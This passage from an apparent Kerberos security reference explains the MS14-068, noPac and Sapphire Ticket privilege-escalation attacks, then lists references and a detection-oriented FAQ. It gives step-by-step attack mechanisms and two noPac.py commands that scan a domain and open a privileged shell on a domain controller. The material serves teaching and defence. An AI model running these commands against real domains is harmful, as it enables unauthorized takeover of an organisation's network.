  • Account enumeration reconnaissance using Kerberos queries

Section 11: CVEs and Notable Vulnerabilities

MS14-068 (CVE-2014-6324)

Impact: Any domain user → Domain Admin

Mechanism: The KDC accepted checksum type 0xFFFFFFFF (unsigned MD5). An attacker could:

  1. Obtain a valid TGT
  2. Modify the PAC — add Domain Admin RID to GroupIds
  3. Use MD5 (unsigned) as the checksum type
  4. The KDC accepted the invalid checksum type instead of rejecting it

Fix: KB3011780 (November 2014). Not present on patched systems but still exploitable on unpatched pre-2014 systems.

noPac (CVE-2021-42287 + CVE-2021-42278)

Impact: Domain user → Domain Admin (rapidly)

Mechanism:

  • CVE-2021-42278: Machine account sAMAccountName can be set to match a Domain Controller name
  • CVE-2021-42287: When the KDC cannot find a sAMAccountName in TGS request, it retries with $ appended

Combined attack:

  1. Create machine account: sAMAccountName = DC01 (same as DC name)
  2. Get TGT: for DC01@CORP.LOCAL
  3. Change the machine account's sAMAccountName to something else
  4. Request TGS: with DC01@CORP.LOCAL's TGT for the krbtgt service
  5. KDC can't find DC01, searches for DC01$ and finds the real DC
  6. Result: receive TGS with real DC privileges
# noPac attack
noPac.py -scan CORP.LOCAL/user01:Password1! -dc-ip 10.0.0.1
noPac.py CORP.LOCAL/user01:Password1! -dc-ip 10.0.0.1 -shell

Fix: KB5008380 and KB5008602 (November/December 2021).

Sapphire Ticket (2022)

An evolution of the Diamond Ticket. Uses a real user's PAC inside a ticket for a different user. Obtains a genuine PAC via the S4U2Self mechanism and injects it into another ticket. Result: all PAC checksums are valid because they were computed against a real PAC.


References and Further Reading

RFCs:

  • RFC 4120 (2005) — The Kerberos Network Authentication Service (V5)
  • RFC 3961 (2005) — Encryption and Checksum Specifications for Kerberos 5
  • RFC 3962 (2005) — Advanced Encryption Standard (AES) Encryption for Kerberos 5
  • RFC 4757 (2006) — The RC4-HMAC Kerberos Encryption Types
  • RFC 6113 (2011) — A Generalized Framework for Kerberos Pre-Authentication
  • RFC 6806 (2012) — Kerberos Principal Name Canonicalization

Microsoft Documentation:

  • MS-KILE: Kerberos Protocol Extensions
  • MS-PAC: Privilege Attribute Certificate Data Structure
  • MS-SFU: Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol

Academic Works:

  • Neuman, C. & Ts'o, T. (1994). "Kerberos: An Authentication Service for Computer Networks." IEEE Communications.
  • Bellovin, S.M. & Merritt, M. (1991). "Limitations of the Kerberos Authentication System." USENIX Conference Proceedings.

Research Blogs:

  • harmj0y: "The Evolution of Protected Users"
  • harmj0y: "Kerberoasting Without Mimikatz"
  • gentilkiwi (mimikatz documentation): MS-KILE PAC implementation
  • Sean Metcalf (adsecurity.org): "Detecting Kerberoasting Activity"
  • Will Schroeder (@harmj0y) / Lee Christensen (@tifkin_): "An Ace Up the Sleeve"

Frequently Asked Questions

What is a TGT in Kerberos?

The Ticket Granting Ticket is issued by the KDC's Authentication Service after a user proves their identity. It is encrypted with the krbtgt account's key and later presented to request service tickets (TGS) without re-entering the password.

What is the PAC and why does it matter?

The Privilege Attribute Certificate is a buffer inside the ticket that carries the user's SIDs and group memberships. Services trust it for authorization decisions, which is why forging it — as in Golden and Diamond Tickets — grants arbitrary privileges.

How do Golden, Silver and Diamond Tickets differ?

A Golden Ticket is a forged TGT signed with the stolen krbtgt key; a Silver Ticket is a forged TGS signed with a single service account's key (narrower scope, stealthier); a Diamond Ticket modifies a legitimately issued TGT to better evade anomaly detection.

How can Kerberos abuse be detected?

Watch for tickets with anomalous lifetimes, RC4 (etype 23) usage where AES is expected, TGS requests without a preceding AS request, PAC validation failures, and mismatches between the ticket and the account's real attributes.